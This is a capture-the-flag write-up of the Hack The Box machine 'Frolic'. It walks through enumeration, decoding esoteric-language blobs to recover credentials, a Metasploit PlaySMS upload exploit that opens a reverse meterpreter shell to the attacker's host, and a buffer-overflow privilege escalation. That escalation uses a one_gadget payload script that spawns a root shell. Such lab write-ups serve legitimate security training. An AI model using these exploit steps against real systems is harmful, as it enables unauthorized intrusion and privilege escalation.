Frolic - Hack The Box

Frolic had a pretty straightforward user access part where after minimal enumeration we could find the password for the PlaySMS application obfuscated a couple of times with some esoteric languages and other things. The PlaySMS application which we could access with the password was directly exploitable from Metasploit without any effort.

The priv esc had a buffer overflow in a SUID binary that we had to exploit using a ROP gadget from the libc library. I discovered the very cool one_gadget tool while doing this box.

Quick summary

  • PlaySMS is installed and vulnerable to a bug which we can exploit with Metasploit (needs to be authenticated)
  • The credentials for PlaySMS are found in an encrypted zip file, which is encoded in Brainfuck, obfuscated in some random directory, then further obfuscated with Ook esoteric programming language
  • The priv esc is a SUID binary which we can ROP with one_gadget (ASLR is disabled)

Tools used

Nmap

The enumeration shows Node-RED, an Nginx server on a non-standard port, Samba and SSH.

# Nmap 7.70 scan initiated Sat Oct 13 15:01:02 2018 as: nmap -p- -sC -sV -oA frolic 10.10.10.111
Nmap scan report for frolic.htb (10.10.10.111)
Host is up (0.018s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open  http        Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h55m33s, deviation: 3h10m31s, median: -5m33s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2018-10-14T00:26:00+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2018-10-13 14:56:00
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 13 15:01:34 2018 -- 1 IP address (1 host up) scanned in 32.59 seconds

Node-RED

There’s a Node-RED server running on port 1880 but when we try to log in with the admin / password credentials it just hangs and times out.

Nginx webserver

The default nginx page is shown.

Next, we’ll dirbust the site.

root@ragingunicorn:~# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -u http://frolic.htb:9999

=====================================================
Gobuster v2.0.0              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://frolic.htb:9999/
[+] Threads      : 50
[+] Wordlist     : /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2018/10/13 15:03:06 Starting gobuster
=====================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/admin (Status: 301)
/backup (Status: 301)
/dev (Status: 301)
/loop (Status: 301)
/test (Status: 301)
=====================================================
2018/10/13 15:03:19 Finished
=====================================================

The /admin link contains a login form:

All the authentication is done client-side with javascript code. Looking at the source code we can see the password: superduperlooperpassword_lol

var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}

We don’t even need to log in, we can browse to success.html directly.

The page contains some kind of ciphertext:

..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... ..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... ..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?. 

This is actually an esoteric programming language: Ook!

We can use dcode.fr to find the plaintext.

Nothing here check /asdiSIAJJ0QWE9JAS

This contains yet another encoded blob of text:

UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA 

When we base64 decode it, we see the PKZIP magic bytes PK.

root@ragingunicorn:~/frolic# base64 -d stuff.b64
PK     É7M#[i   index.phpUT     |[|[ux
                                      ^DJsh)
root@ragingunicorn:~/frolic# base64 -d stuff.b64 > stuff.zip

The zip file is encrypted, after the first guess I found the password is password:

root@ragingunicorn:~/frolic# unzip stuff.zip
Archive:  stuff.zip
[stuff.zip] index.php password:
  inflating: index.php

More encoded text…

root@ragingunicorn:~/frolic# cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

The following is the Brainfuck esoteric programming language:

+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..< 

Again, we use dcode.fr to find the plaintext:

idkwhatispass

PlaySMS and shell access

The http://frolic.htb:9999/dev/backup/ link contains a reference to /playsms

The playSMS application seems to be installed on the server:

We can log in using admin / idkwhatispass.

We have two potential vulnerabilities we can use with Metasploit:

root@ragingunicorn:~/frolic# searchsploit playsms
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit)             | exploits/php/remote/44598.rb
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload             | exploits/php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution                                               | exploits/php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Metasploit)         | exploits/php/remote/44599.rb

We can use the playsms_uploadcsv_exec module to get a shell:

msf exploit(multi/http/playsms_uploadcsv_exec) > show options

Module options (exploit/multi/http/playsms_uploadcsv_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   idkwhatispass    yes       Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      10.10.10.111     yes       The target address
   RPORT      9999             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /playsms         yes       Base playsms directory path
   USERNAME   admin            yes       Username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.23      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PlaySMS 1.4
msf exploit(multi/http/playsms_uploadcsv_exec) > run

[*] Started reverse TCP handler on 10.10.14.23:4444
[+] Authentication successful: admin:idkwhatispass
[*] Sending stage (37775 bytes) to 10.10.10.111
[*] Meterpreter session 3 opened (10.10.14.23:4444 -> 10.10.10.111:52952) at 2018-10-13 17:12:46 -0400

meterpreter > shell
Process 1785 created.
Channel 0 created.
whoami
www-data

Found user flag:

cd /home
ls -l
total 8
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 ayush
drwxr-xr-x 7 sahay sahay 4096 Sep 25 02:45 sahay
cd ayush
cat user.txt
2ab959...

Priv esc

Found our priv esc vector here: /home/ayush/.binary/rop

www-data@frolic:~$ find / -perm /4000 2>/dev/null
find / -perm /4000 2>/dev/null
/sbin/mount.cifs
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/bin/umount
/bin/su
/bin/ntfs-3g
/home/ayush/.binary/rop

There’s obviously a buffer overflow in the binary, as shown below:

www-data@frolic:~$ /home/ayush/.binary/rop
/home/ayush/.binary/rop
[*] Usage: program <message>
www-data@frolic:~$ /home/ayush/.binary/rop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Luckily, ASLR is disabled on the server (0 = disabled):

www-data@frolic:/home/ayush$ cat /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
0

We can use netcat to copy the rop binary file to our own box and analyze it with gdb/gef:

gef➤  checksec
[+] checksec for '/root/frolic/rop'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

NX is enabled so we won’t be able to execute a shellcode on the stack. But first things first, let’s find the offset for our overflow:

root@ragingunicorn:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

When we crash the program, we see EIP is set to 0x62413762:

We find the offset at position 52:

root@ragingunicorn:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x62413762
[*] Exact match at offset 52

Next, we’ll look for gadgets in libc that we can use in our exploit. We’ll copy the libc file from the box to our own machine and use one_gadget:

root@ragingunicorn:~/frolic# nc -lvnp 4444 > libc
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.111] 59480
root@ragingunicorn:~/frolic# one_gadget -f libc rop
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

We found a gadget at 0x3ac5c that’ll give us a nice shell!

We also need libc’s base address (which doesn’t change since ASLR is disabled):

www-data@frolic:/home/ayush$ ldd /home/ayush/.binary/rop
ldd /home/ayush/.binary/rop
        linux-gate.so.1 =>  (0xb7fda000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
        /lib/ld-linux.so.2 (0xb7fdb000)

Base address is : 0xb7e19000

To construct the final exploit, we write a simple script that’ll squash the $RIP register with the memory address of the gadget that spawns /bin/sh:

from pwn import *

payload = "A" * 52 + p32(0xb7e19000+0x3ac5c)

print payload

We can run the exploit locally to generate a payload file which we then transfer to the target system and pipe into the target binary:

www-data@frolic:/dev/shm$ /home/ayush/.binary/rop $(cat payload)
/home/ayush/.binary/rop $(cat payload)
# cd /root
cd /root
# cat root.txt
cat root.txt
85d3fd...